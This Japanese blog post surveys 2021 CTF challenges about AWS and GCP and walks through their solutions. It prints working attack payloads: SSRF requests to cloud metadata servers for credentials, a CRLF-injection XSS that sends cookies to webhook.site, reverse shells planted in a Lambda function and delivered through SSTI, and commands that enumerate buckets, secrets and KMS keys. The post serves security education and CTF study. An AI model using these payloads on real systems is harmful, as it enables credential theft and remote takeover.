1. はじめに
こんにちは、morioka12 です。
本稿では、CTFtime のイベントに記載されている2021年に開催された CTF のイベントで、Cloud に関する問題をピックアップして攻撃手法やセキュリティ視点での特徴について紹介します。
また、同様に Hack The Box の Lab で Cloud に関する問題は、以下のブログで紹介しているので、良ければこちらもご覧ください。
1.1 調査対象
今回の対象となるイベントは、以下のような条件で全て調査して選んでいます。
- 2021年1月1日~12月31日の期間に開催された CTF イベント
- CTFtime のイベントに記載してある CTF イベント
- Online 開催である CTF イベント
- Jeopardy 形式である CTF イベント
- Cloud 問題、もしくは Web 問題で Cloud に関する要素を取り入れている問題
1.2 Public Cloud Service
本ブログに記載があるサービス名
- AWS (Amazon Web Services)
- Amazon EC2 (Elastic Compute Cloud):仮想マシン (VM インスタンス)
- Amazon S3 (Simple Storage Service):オブジェクトストレージ
- Amazon ECS (Elastic Container Service):コンテナオーケストレーション
- AWS Lambda:サーバレスコンピューティング
- AWS Secrets Manager:機密情報ストレージ
- Amazon SQS (Simple Queue Service):メッセージキューイング
- AWS IAM (Identity and Access Management):アクセス管理
- GCP (Google Cloud Platform)
- GCE (Google Compute Engine):仮想マシン (VM インスタンス)
- GCS (Google Cloud Storage):オブジェクトストレージ
- GCR (Google Container Registry):コンテナイメージ管理
- GAE (Google App Engine):サーバーレスプラットフォーム
- Cloud KMS(Cloud Key Management Service):鍵管理
- GCP Secret Manager:機密情報ストレージ
2. AWS (Amazon Web Services)
2.1 Amazon EC2 (Amazon Elastic Compute Cloud)
Amazon EC2 は仮想マシン(VM インスタンス)のサービスで、EC2 上にある Web アプリケーションに脆弱性が合った場合、SSRF (Server-Side Request Forgery) によってメタデータサーバーからクレデンシャルを入手することが可能です。
EC2 のメタデータサーバーにアクセスする先は、以下のようになります。
ただし、メタデータサーバーにアクセスするには、以下のような形で IMDS(Instance Meta Data Service) のバージョンに合わせてトークンを入手し、リクエストに X-aws-ec2-metadata-token
を付与する必要があります。
# IMDSv2 の場合 $ TOKEN=`curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600"` \ && curl -H "X-aws-ec2-metadata-token: $TOKEN" -v http://169.254.169.254/latest/meta-data/
問題1
実際の問題では、脆弱な Web サイトに SSRF によってクレデンシャルを入手することができました。具体的には、以下の URL からインスタンスに紐付いている S3 にアクセス可能なクレデンシャルを入手することができました。
http://169.254.169.254/latest/meta-data/iam/security-credentials/S3Role
入手したクレデンシャルを元に、S3 バケットを探索し、シークレットなバケット(secretdocs
)から flag を入手することができました。
$ aws s3 ls 2021-01-12 11:37:04 secretdocs $ aws s3 ls secretdocs 2021-01-12 13:22:24 241 leviathan.txt $ aws s3 cp s3://secretdocs/leviathan.txt leviathan.txt download: s3://secretdocs/leviathan.txt to ./leviathan.txt $ cat leviathan.txt no sound, once made, is ever truly lost in electric clouds, all are safely trapped and with a touch, if we find them we can recapture those echoes of sad, forgotten wars long summers, and sweet autumns flag{cl0udy_with_a_chance_0f_flag5}
CTF event (writeup)
- Tenable CTF 2021
- writeup: Hacking Toolz
reference
2.2 Amazon S3 (Amazon Simple Storage Service)
Amazon S3 はオブジェクトストレージのサービスで、機微な情報を含んだ状態でファイルがバケットに格納されている可能性があり、アクセス権限の不備や脆弱性によって機微な情報を得ることが可能です。また、S3 は静的なファイルを格納して、静的ホスティングをすることもできます。
S3 において、エンドポイントは2種類あり、以下のようになっています。
- 仮想ホスト形式
http://<bucket-name>.s3.amazonaws.com
http://<bucket-name>.s3-<region>.amazonaws.com
- パス形式
http://s3.amazonaws.com/<bucket-name>
http://s3-<region>.amazonaws.com/<bucket-name>
また、AWS CLI を用いて以下のようにバケットの操作を行うこともできます。
# s3 command # バケットの一覧を表示 $ aws s3 ls # バケットの内容を表示 $ aws s3 ls s3://<bucket-name>/<path> # ローカルのファイルをバケットにコピー $ aws s3 cp <file-path> s3://<bucket-name>/<path> # s3api command # バケットのオブジェクトを取得 $ aws s3api get-object --bucket <bucket-name> # オブジェクトのバージョンを表示 $ aws s3api list-object-versions --bucket <bucket-name>
問題1
実際の問題では、Nginx の設定不備による CRLF Injection から任意の S3 バケットへのアクセスを bot にさせることによる XSS (Cross-Site Scripting) で Cookie の取得ができました。
問題では、以下のような Nginx の設定ファイルの記載があり、CRLF Injection で Host ヘッダーを偽造して他の S3 バケットを読み込ませることができました。
location /static/ { proxy_pass https://volga-static-site.s3.amazonaws.com$uri; }
https://static-site.volgactf-task.ru/static/xss.html%20HTTP/1.1%0d%0aHost:%20example.com%0d%0a%0d%0a
GET /static/xss.html HTTP/1.0 Host:attacker-s3-bucket HTTP/1.1 Host: volga-static-site.s3.amazonaws.com
また、既に使われているバケット名は volga-static-site
とわかっているので、これと同じリージョンに悪意のあるファイルを格納したバケット名を作成します。
リージョンの確認は、以下のようにヘッダーから簡単に確認することができました。
$ curl -i s3.amazonaws.com -H "Host: volga-static-site" HTTP/1.1 200 OK ... x-amz-bucket-region: us-east-1 ... Server: AmazonS3 ...
まずは、バケットを us-east-1
リージョンで作成し、既存のバケットと同じように /static/index.html
と /static/
の下に Cookie の送信する先をセットした JavaScript ファイル(/static/app.js
)を格納して、外部からアクセスできるようにします。
JavaScript ファイルの中身は、以下のような感じにします(例)。
window.location = 'https://webhook.site?c='+document.cookie
あとは、CRLF Injection で以下のように指定してアクセスすると、裏で bot が任意の先にアクセスし、XSS で flag を得ることができました。
https://static-site.volgactf-task.ru/static/index.html%20HTTP/1.0%0d%0aHost:%20bucket-name.s3.amazonaws.com%0d%0a%0d%0a
問題2
他の実際の問題では、単純にバケットの中にアクセスキーが保存してあり、そのクレデンシャルを入手し、他のシークレットなバケットの中身に flag があったりしました。
また、バケットの Tag の中に flag があったり、クレデンシャルに紐付いている先の Lambda 関数や EC2 の Tag の中に flag があったりする問題もありました。
$ aws s3api get-bucket-tagging --bucket <bucket-name> $ aws s3 sync s3://<bucket-name> . --endpoint-url <url>
$ aws lambda list-functions $ aws lambda list-tags --resource <function-arn>
$ aws ec2 describe-tags
CTF event (writeup)
- VolgaCTF 2021 Qualifier
- writeup: Static Site
- Hacky Holidays - Space Race
- writeup: Locked Out
- writeup: Enumerating the cloud
- HTB Business CTF 2021
- writeup: Supply
reference
- Amazon S3 を使用して静的ウェブサイトをホスティングする
- aws s3 ls
- aws s3 cp
- aws s3 get-bucket-tagging
- aws s3 sync
- aws lambda list-functions
- aws lambda list-tags
- aws ec2 describe-tags
- CRLF Injection
また筆者が書いた S3 のセキュリティに関するブログも良ければ参照ください。
2.3 Amazon ECS (Elastic Container Service)
Amazon ECS はコンテナオーケストレーションのサービスで、クラスター上の Docker コンテナを実行することができ、EC2 と同様に SSRF によってメタデータサーバーからクレデンシャルを入手することが可能です。
ECS のメタデータサーバーにアクセスする先は、以下のようになります。
http://169.254.179.2/v2/metadata
- クレデンシャル
http://169.254.170.2/v2/credentials/<random-uuid>
ちなみに ECS に付与された IAM ロールのクレデンシャルを取得するには UUID が必要で、それらは環境変数から知ることが可能です。環境変数(/proc/self/environ
)から得るには、OS Command Injection や Path Traversal といった脆弱性攻撃で獲れる可能性があります。
JAVA_ALPINE_VERSION=8.212.04-r0 HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447 AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2 ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjdk/jre/../lib/amd64
以上のような内容が環境変数から得れた場合、以下の URL から ECS のクレデンシャルを得ることができます。
http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
問題1
実際の問題では、HTML のコードをレンダリングして PDF を生成する機能に SSRF があり、ECS のクラスター ARN が取得できました。そこから紐付いている S3 バケットにアクセスすることで flag を得れました。
以下のようなコードを埋め込み、PDF を生成すると、クラスターの ARN を入手することができました。
<html> <body> <iframe src="http://169.254.170.2/v2/metadata" width="500" height="1000"> </body> </html>
そして問題では、他の脆弱性攻撃や .bashrc
などの環境変数から UUID を知ることができました。
そこから、ECS の クレデンシャルに紐付いた S3 バケットにアクセスすることができ、シークレットなバケットのバケット名から flag が得ることができました。
$ aws s3 ls --profile hackazonctf-phase3 2021-07-15 04:39:09 ctf-d276243c33a98f677e1c679f8b1353b2-9c38597
CTF event (writeup)
reference
2.4 AWS Lambda
AWS Lambda はサーバレスコンピューティングのサービスで、Lambda 上の権限の不備や脆弱性によって、クレデンシャルや機微な情報を入手することが可能です。
Lambda のクレデンシャルは環境変数に格納されていて、OS Command Injection や SSRF などの脆弱性攻撃でクレデンシャルを取得することができます。
AWS_LAMBDA_FUNCTION_VERSION=$LATEST AWS_SESSION_TOKEN=IQoJ..........xqE= ... AWS_SECRET_ACCESS_KEY=XDol********************************K2hq ... AWS_ACCESS_KEY_ID=ASIA************5LGP …
問題1
実際の問題では、問題サーバーの /health
にアクセスすることで Lambda が実行されていることが確認でき、AWS CLI でソースコードを書き換えることでリバースシェルを実行し、任意のファイルから flag を得ることができました。
まずは、Lambda 関数について詳しく AWS CLI で調査して、関数名や関数自体の詳細情報などを入手します。調査すると新しい関数の作成は権限でできないが、関数に含まれる既存のファイルの更新は可能なことがわかりました。
$ aws lambda list-functions --endpoint-url http://<問題サーバー> --output json $ aws lambda get-function --endpoint-url http://<問題サーバー> --output json --function-name <関数名>
そこから既存のファイル名(lambda_function.py
)を知ることができ、既存のファイルをダウンロードできます。
$ wget http://<問題サーバー>/2015-03-31/functions/billing/code -O code.zip
そして以下のようにリバースシェルを組み込んだ状態で Lambda 関数のファイルを更新します。
import json import socket,subprocess,os def lambda_handler(event, context): s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(("10.10.14.103",1337)) os.dup2(s.fileno(),0) os.dup2(s.fileno(),1) os.dup2(s.fileno(),2) p=subprocess.call(["/bin/bash","-i"]) return { 'statusCode': 200, 'body': json.dumps('Still in development') }
$ zip update.zip lambda_function.py $ aws lambda update-function-code --endpoint-url http://<問題サーバー> --output json --function-name <関数名> --zip-file fileb://update.zip
あとは、ホストマシンでリバースシェルを待ち構え、以下のように関数の新しいファイルをトリガーして、ホストマシンから侵入できたら直接的に flag を入手するこことができました(/opt/flat.txt
)。
$ aws lambda invoke --endpoint-url http://<問題サーバー> --function-name <関数名> output.log $ nc -nlvp 9999
問題2
他の実際の問題では、外部に公開された .git
に Lambda 関数にアクセスするためのクレデンシャルが含まれていて、Lambda 関数のソースコードから JWT のシークレートキーを入手することができました。シークレットキーを活用して JWT の改竄を行い、管理者画面にアクセスしたら SSTI (Server-Side Template Injection)があり、脆弱性攻撃からリバースシェルをして flag を得る問題もありました。
{{config.__class__.__init__.__globals__['os'].popen('echo <rev-shell-base64> | base64 -d | bash').read()}}
POST /order?input=python3+-c+'import+socket,subprocess,os%3bs%3dsocket.socket(socket.AF_INET,socket.SOCK_STREAM)%3bs.connect(("[my+ip]",4444))%3bos.dup2(s.fileno(),0)%3b+os.dup2(s.fileno(),1)%3bos.dup2(s.fileno(),2)%3bimport+pty%3b+pty.spawn("sh")' HTTP/1.1 Host: cloud.epsilon.htb:5000 ... costume={%25+for+x+in+().__class__.__base__.__subclasses__()+%25}{%25+if+"warning"+in+x.__name__+%25}{{x()._module.__builtins__['__import__']('os').popen(request.args.input).read()}}{%25endif%25}{%25endfor%25}&q=1&addr=2
CTF event (writeup)
- HTB Business CTF 2021
- writeup: Theta
- HTB Uni CTF 2021 - Quals
- writeup: Epsilon
reference
- aws lambda list-functions
- aws lambda get-function
- aws lambda update-function-code
- aws lambda invoke
- Server Side Template Injection
また筆者が書いた Lambda のセキュリティに関するブログも良ければ参照ください。
3. GCP (Google Cloud Platform)
3.1 GCE (Google Compute Engine)
GCE は仮想マシン(VM インスタンス)のサービスで、GCE 上にある Web アプリケーションに脆弱性が合った場合、SSRF によってメタデータサーバーからクレデンシャルを入手することが可能です。
GCE のメタデータサーバーにアクセスする先は、以下のようになります。
- Full URL
http://metadata.google.internal/computeMetadata/v1/
- Shorthand URL
http://metadata/computeMetadata/v1/
- IP address
http://169.254.169.254/computeMetadata/v1/
ただ、HTTP 経由でメタデータサーバーにアクセスするには、リクエストに Metadata-Flavor: Google
を付与する必要があります。
$ curl "http://metadata.google.internal/computeMetadata/v1/instance/" -H "Metadata-Flavor: Google"
また、v1beta1
のエンドポイントには先ほどのヘッダーがなくてもアクセスすることが可能です。
http://metadata.google.internal/computeMetadata/v1beta1/instance/
- アクセストークン
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token
- SSH公開鍵
http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys
問題1
実際の問題では、URL を受け付ける欄に SSRF があり、ソースコード上で http://192.0.2.235
や http://3221226219
といった IP アドレスを正規表現で制限していたため、URL 短縮サービスである Bit.ly で生成した URL によってバイパスすることでクレデンシャルを入手することができました。
また、問題の Node.js のソースコード上でヘッダーの挿入が不可能となっていました。しかし、v1beta1
のエンドポイントはヘッダーを必要としないため、バイパスしてアクセスすることが可能です。
以下のような URL を指定して SSRF することでメタデータサーバーからクレデンシャルや GCE インスタンス上でホストされている Docker コンテナのアクセストークンを入手することができました。
http://metadata.google.internal/computeMetadata/v1beta1/instance/?recursive=true
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
更に入手したクレデンシャルを使用して GCE インスタンス上でホストされている Docker コンテナを GCR からコンテナイメージを取得できました。
そして GCR から取得したコンテナイメージを手元で実行して flag を入手することができました。
$ docker login -u oauth2accesstoken -p "<token>" gcr.io $ docker pull gcr.io/dicegang-waas/waas $ sudo docker run gcr.io/dicegang-waas/waas dice{the_cloud_is_just_someone_elses_computer} Listening on 3000
CTF event (writeup)
- DiceCTF 2021
- writeup: Watermark as a Service
reference
3.2 GCS (Google Cloud Storage)
GCS はオブジェクトストレージのサービスで、機微な情報を含んだ状態でファイルがバケットに格納されている可能性があり、アクセス権限の不備や脆弱性によって機微な情報を得ることが可能です。
GCS において、エンドポイントは2種類あり、以下のようになっています。
- JSON API
https://storage.googleapis.com/storage/v1/<path-to-resource>
https://storage.googleapis.com/upload/storage/v1/b/<bucket-name>/o
- XML API
- 仮想ホスト形式
https://<bucket-name>.storage.googleapis.com/<object-name>
- パス形式
https://storage.googleapis.com/<bucket-name>/<object-name>
- 仮想ホスト形式
問題1
実際の問題では、問題の Web サイトの /robots.txt
に Disallow: /.git/*
が記載していて、GitDumper などを活用して Git リポジトリを入手することができました。そこから git log
を実行してコミットログを見ると JSON ファイルがあり、ファイルの中身からプロジェクト名 booming-cosine-304921
というのがわかりました。
> git log commit 8170c6c35cccffe0f9e2715fd7b81c832e5d9fd1 (HEAD -> master) Author: corgi <corgi@corgiwoofwoof.com> Date: Fri Mar 5 19:55:42 2021 -0800 clean up complete commit 543e9d358dbd4276da5277291624d16fb8b9d56a Author: corgi <corgi@corgiwoofwoof.com> Date: Fri Mar 5 19:55:00 2021 -0800 remove this later > git show commit 8170c6c35cccffe0f9e2715fd7b81c832e5d9fd1 (HEAD -> master) Author: corgi <corgi@corgiwoofwoof.com> Date: Fri Mar 5 19:55:42 2021 -0800 clean up complete diff --git a/booming-cosine-304921-5327fdaff786.json b/booming-cosine-304921-5327fdaff786.json deleted file mode 100644 index a440f42..0000000 --- a/booming-cosine-304921-5327fdaff786.json +++ /dev/null @@ -1,12 +0,0 @@ -{ - "type": "service_account", - "project_id": "booming-cosine-304921", - "private_key_id": "5327fdaff786b034f9dc37834326fd83dfa1d972", - "private_key": "-----BEGIN PRIVATE KEY-----\nMIIEvQIBADANBgkqhkiG ... ...
プロジェクト名(booming-cosine-304921
)から実際に gcloud CLI で紐付いている権限周りを実行してみると、権限一覧の出力する権限がなく、「gcloud CLI クイック リファレンス」から色々試すと GAE (Google App Engine)のアプリのログを見ることができました。そのアプリのリクエストログを読み取ると特定の GCS のバケット名を入手することができ、そのファイルにアクセスすることで flag を入手できました。
$ gcloud auth activate-service-account --key-file=key.json --project=booming-cosine-304921 $ gcloud logging logs list NAME projects/example-project/logs/%2Fvar%2Flog%2Fgoogle_init.log projects/example-project/logs/%2Fvar%2Flog%2Fnginx%2Ferror.log projects/example-project/logs/appengine.googleapis.com%2Frequest_log projects/example-project/logs/cloudaudit.googleapis.com%2Factivity projects/example-project/logs/cloudaudit.googleapis.com%2Fdata_access projects/example-project/logs/cloudaudit.googleapis.com%2Fsystem_event projects/example-project/logs/cloudbuild projects/example-project/logs/clouderrorreporting.googleapis.com%2Finsights projects/example-project/logs/stderr projects/example-project/logs/varlog%2Fsystem $ gcloud logging read request_log | grep storage resource: /send?message=https%3A%2F%2Fstorage.googleapis.com%2Fshout-into-void%2F1574AB2CB00533975094D87814BCF8FA707FD608-flag.txt
https://storage.googleapis.com/shout-into-void/1574AB2CB00533975094D87814BCF8FA707FD608-flag.txt
問題2
他の実際の問題では、単純にバケットの中身に XML ファイルが格納されていて、そこからファイルをダウンロードして flag を得れたり、gsutil を使って GCS のバケット内を調べて flag を得たりする問題もありました。
$ gsutil ls gs://<bucket-name> $ gsutil cp gs://<bucket-name>/pics/flag.txt .
CTF event (writeup)
- BSidesSF 2021 CTF
- writeup: Shout Into the Void
- DownUnderCTF 2021
- writeup: Bad Bucket
- writeup: Not as Bad Bucket
reference
- リクエスト エンドポイント
- gcloud auth activate-service-account
- gcloud logging logs list
- gcloud logging read
- gsutil ls
- gsutil cp
3.3 Cloud KMS(Cloud Key Management Service)
Cloud KMS は鍵管理のサービスで、復号化するための秘密鍵が Secret Manager などから漏洩した場合、暗号化して管理した鍵を復号化して入手することが可能です。
問題1
実際の問題では、手がかりとなる以下のような JSON ファイルが配布されていて、プロジェクト名やサービスアカウント名が漏洩したという定で Secret Manager から秘密鍵を入手し、KMS で管理された鍵を復号化して中身を得ることができました。
{ "type": "service_account", "project_id": "ductf-lost-n-found", "private_key_id": "204a0a9969f97549e646f592d1732f5e478492d7", "private_key": "-----BEGIN PRIVATE KEY-----\n[redacted so github doesnt nuke this]\n-----END PRIVATE KEY-----\n", "client_email": "legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com", "client_id": "103100904971904770440", "auth_uri": "https://accounts.google.com/o/oauth2/auth", "token_uri": "https://oauth2.googleapis.com/token", "auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs", "client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/legacy-svc-account%40ductf-lost-n-found.iam.gserviceaccount.com" }
まずは、入手したプロジェクト名(ductf-lost-n-found
)とサービスアカウント(legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com
)を gcloud
でセットします。
$ gcloud auth activate-service-account legacy-svc-account@ductf-lost-n-found.iam.gserviceaccount.com --key-file=legacy.json $ gcloud config set project ductf-lost-n-found
それらからアカウントに紐付いている権限より情報収集して、gcloud で Secret Manager の中を見てみると、シークレットな秘密鍵(unused_data
)がわかりました。
$ gcloud secrets list NAME CREATED REPLICATION_POLICY LOCATIONS unused_data 2021-09-21T05:20:41 automatic - $ gcloud secrets describe unused_data createTime: '2021-09-21T05:20:41.876436Z' etag: '"15cc7a8f10dbd4"' name: projects/216026370280/secrets/unused_data
次に鍵管理をしている KMS に対して一覧を表示させてみて、得れた情報を元に中身を見てみます。
$ gcloud kms keyrings list --location australia-southeast2 NAME projects/ductf-lost-n-found/locations/australia-southeast2/keyRings/wardens-locks $ gcloud kms keys list --keyring projects/ductf-lost-n-found/locations/australia-southeast2/keyRings/wardens-locks NAME PURPOSE ALGORITHM PROTECTION_LEVEL LABELS PRIMARY_ID PRIMARY_STATE projects/ductf-lost-n-found/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-big-key ENCRYPT_DECRYPT GOOGLE_SYMMETRIC_ENCRYPTION SOFTWARE 1 ENABLED ...
すると多くの鍵が出力されました。それらは暗号化されているため、鍵の平文を見るには復号化する必要があります。
多くの鍵を一気に復号化できるように以下のようなシェルスクリプトによって復号化し、復号化した鍵の中の一つに flag がありました。
#!/bin/bash gcloud kms decrypt \ --key=$1 \ --keyring=wardens-locks \ --location=australia-southeast2 \ --ciphertext-file=ciphertext \ --plaintext-file=flag.txt 2> /dev/null cat flag.txt 2>/dev/null
$ gcloud secrets versions access latest --secret="unused_data" | base64 -d > ciphertext $ chmod +x trykey.sh ... DUCTF{its_time_to_clean_up_your_service_account_permissions!}
CTF event (writeup)
- DownUnderCTF 2021
- writeup: Lost n Found
reference
- gcloud auth activate-service-account
- gcloud config set
- gcloud secrets list
- gcloud secrets describe
- gcloud kms keyrings list
- gcloud kms keys list
- gcloud secrets versions access latest
4. おまけ
ここでは、CTFtime には記載されていないけど、2021年に開催された CTF で Cloud に関する問題を取り上げていた問題を簡単に紹介します。
4.1 AWS and HackerOne CTF
この問題は、HackerOne が主催する Hacker101 CTF の AWS とコラボした問題になります。
Test your AWS hacking skills in our latest #CTF level on #hacker101. Sign in to https://t.co/3oYS1TRLZH to find out more! pic.twitter.com/xuxq4crHkX
— HackerOne (@Hacker0x01) April 6, 2021
簡単に一連の流れがわかるくらいで紹介します。
- 問題の Web サイトに URL を受け付ける入力欄があり、SSRF によって IAM ロールのクレデンシャルを入手することができる
- 入手した IAM ロールを調べてみると、他にも EC2 インスタンスがあり、それらのアクセス先を入力欄に指定してリクエストを投げると、エラー文より「
Missing api_key parameter. See AWS SecretsManager.
」とヒントとなる情報が得れる - Secrets Manager から情報を探ると
api_key
を入手することができ、これを使って再度プライベートな EC2 に SSRF でアクセスする - そこでまた新しいクレデンシャルを入手することができ、再度 Secrets Manager から情報を探ると
h101_flag_secret_secondary
を入手することができる - 入手した先ほどのクレデンシャルをさらに調べると S3 バケットのリストを取得することができ、そこから一つのファイルを取得することができる
- また、
README.md
ファイルもあり、中身を確認すると SQS を使って flag を生成するような Tips が記載してあることが確認できる - SQS に対して得た情報を元にリクエストを投げて、その情報を元にアクセスできなかった S3 バケットに対してアクセスすると flag の入ったファイルを入手することができる
これらより、大まかな AWS 環境における侵入の流れは、以下のようになります。
- EC2 -> IAM
- IAM -> EC2 -> Secrets Manager
- EC2 -> IAM -> Secrets Manager
- IAM -> S3
- SQS -> S3
詳しくは、以下の writeup をご覧ください。
4.2 others
その他として、クラウドに関する「やられ環境」は以下のようなものがあります。
また、今年の7月に Hack The Box で公開(開始)されたに AWS に関するペネトレーションコンテンツもあります。
There is a big storm coming! 🌩️
— Hack The Box (@hackthebox_eu) July 11, 2022
A brand new #HTB fortress, powered by @awscloud is here for you to conquer!
✅ #Cloud exploitation
✅ #Web app #pentesting
✅ #AD abuse
Ready to attack? Find out more here: https://t.co/CXVNCYvQnx#HackTheBox #CloudHacking #CyberSecurity pic.twitter.com/jq6n19ygVK
5. まとめ
5.1 Summary
これまでの紹介をセキュリティ視点で簡単にまとめると、以下のような感じになります。
- 仮想マシン (VM インスタンス)
- オブジェクトストレージ
- ストレージの中に flag が含まれている場合がある
- 入手したクレデンシャルを元にストレージにアクセスしてシークレットなファイルから flag を得れる可能性がある
- もしくはアクセス権限の不備で、単にパブリックになっているストレージからダウンロードして flag を得れる可能性もある
- オブジェクトストレージのエンドポイント
- S3:
http://<bucket-name>.s3.amazonaws.com/
http://s3.amazonaws.com/<bucket-name>
- GCS:
https://<bucket-name>.storage.googleapis.com/
https://storage.googleapis.com/<bucket-name>
- S3:
- コンテナオーケストレーション
- サーバーレスコンピューティング・プラットフォーム
- アクセス管理
- その他
.git
ファイル等にクレデンシャルが含まれている可能性がある- ポリシーや Tag の中に flag が埋め込まれている可能性がある
5.2 Tools
また、クラウド環境において、以下のようなツールを活用することで、効率的にセキュリティ的な情報収集をすることが可能です。
- クラウド環境
- Pacu
- Scout Suite
- MicroBurst
- Azure 環境のセキュリティチェックをするツール
- IAM
- S3
- CLI
5.3 reference
- AWS Essentials: Top 5 Tests for Penetration Testing AWS
- Cloud - AWS Pentest
- GCP Penetration Testing Notes
- Cloud - Azure Pentest
- my-arsenal-of-aws-security-tools <- おすすめ
6. 終わりに
本稿では、2021年に開催された CTF のイベントで Cloud に関する問題をピックアップして攻撃手法やセキュリティ視点での特徴について紹介しました。
CTF の問題としては、まだまだ Cloud に関する出題はあまりない方ですが、今後 Cloud というカテゴリーが一定出題するくらい多くなってくると個人的に問題の幅が広がって面白くて良いなと思いました。
今回これらをまとめたきっかけは、今度「セキュリティ・ミニキャンプ オンライン 2022」で「WebとCloudにおけるセキュリティの基礎と実践」という講義の講師を担当するのですが、その講義で修了試験問題として講義にまつわる CTF を出題することとなっています。そこで Web や Cloud に関する CTF を出題する予定のため、既存の CTF で取り入れられている Cloud 問題について調査を行った感じになります。
来年も、今年の2022年版がまとめて書けたらと良いなと思っているので、お楽しみに。
また、セキュリティミニキャンプ用に作問した問題もどこかで紹介できればと思います。
ここまでお読みいただきありがとうございました。